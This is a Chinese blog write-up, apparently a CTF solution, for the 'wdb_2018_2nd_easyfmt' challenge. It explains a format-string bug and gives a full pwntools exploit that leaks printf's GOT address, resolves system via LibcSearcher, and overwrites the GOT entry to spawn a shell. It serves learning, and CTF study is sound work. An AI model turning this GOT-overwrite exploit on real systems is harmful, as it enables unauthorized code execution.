wdb_2018_2nd_easyfmt

wdb_2018_2nd_easyfmt(格式化字符串)

题目情况

程序流程非常简单,一眼格式化字符串漏洞

题目中没法发现其他漏洞或者可用的地方,卡住了,看了一些wp之后知道了格式化字符串还可以通过修改got表来执行system

虽然自己在做的时候跟网上的wp有一些差异,但还是拿到了shell

大致思路

  • 格式化字符串漏洞这里是死循环,则表示可以反复利用

  • 先确定输入数据的参数位置

    看到输入数据的地址 0xffffd0f8

    使用fmtarg指令查看偏移:

    得到了参数位置为第六个参数

  • 第一次利用printf泄露printf的实际地址

     printf_got = elf.got['printf']
     p.recvuntil("Do you know repeater?\n")
     payload = p32(printf_got)
     payload += b"%6$s"
     p.sendline(payload)
     printf_addr = u32(p.recvuntil("\xf7")[-4:])
     print(hex(printf_addr))
  • 拿到printf的地址后就可以使用Libcsearcher确定libc版本然后算出libc基址,算出system函数地址

     libc = LibcSearcher('printf', printf_addr)
     libc_base = printf_addr - libc.dump('printf')
     log.success("libc_base addr is ->%s" % hex(libc_base))
     system_addr = libc_base + libc.dump('system')
  • 然后再次利用printf修改got表里printf的地址为system的地址

    • 先看看需要修改的大小,一共四字节大小可以用两次hn

      其实做完了才发现可以只修改低四位。。。

    • 构造格式化字符串:

       system_low = system_addr & 0xffff
       system_high = (system_addr >> 16) & 0xffff
       payload = p32(printf_got) + p32(printf_got + 2)
       payload += b'%' + bytes(str(system_low - 8), "utf-8") + b'c%6$hn'
       payload += b'%' + bytes(str(system_high-system_low), "utf-8") + b'c%7$hn'
    • 注意这里的一个细节,system_low - 8,这是因为前面构造的printf_got和printf_got+2一共占了8字节所以要减回来,可以看一些如果不减修改的地址的情况:

      可以看到修改的got表低四位地址多了0x8

  • 成功修改后,再次执行printf时其实是执行system,所以第三次执行printf发送‘/bin/sh\x00’

注意点与收获

  • 更加深刻理解了格式化字符串漏洞,也明白了怎么构造格式化字符串

  • 学会了修改got表的方法

  • 终于理解了参数位置的意思(为什么可以做到一字节或两字节修改值)

完整exp

 from pwn import *
 from LibcSearcher import *
 ​
 context(os='linux', arch='amd64', log_level='debug')
 p = process('./pwn')
 gdb.attach(p)
 elf = ELF('./pwn')
 ​
 ​
 def exp(p):
     printf_got = elf.got['printf']
     p.recvuntil("Do you know repeater?\n")
     payload = p32(printf_got)
     payload += b"%6$s"
     p.sendline(payload)
     printf_addr = u32(p.recvuntil("\xf7")[-4:])
     print(hex(printf_addr))
     libc = LibcSearcher('printf', printf_addr)
     libc_base = printf_addr - libc.dump('printf')
     log.success("libc_base addr is ->%s" % hex(libc_base))
 ​
     system_addr = libc_base + libc.dump('system')
     log.success("system addr is ->%s" % hex(system_addr))
     printf_got = elf.got['printf']
     log.success("printf_got addr is ->%s" % hex(printf_got))
 ​
     system_low = system_addr & 0xffff
     system_high = (system_addr >> 16) & 0xffff
     payload = p32(printf_got) + p32(printf_got + 2)
     payload += b'%' + bytes(str(system_low - 8), "utf-8") + b'c%6$hn'
     payload += b'%' + bytes(str(system_high-system_low), "utf-8") + b'c%7$hn'
     
     pause()
     p.send(payload)
     pause()
     print("------------------------------------------------------")
 ​
     pause()
     p.sendline(b"/bin/sh\x00")
     p.interactive()
 ​
 ​
 exp(p)
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值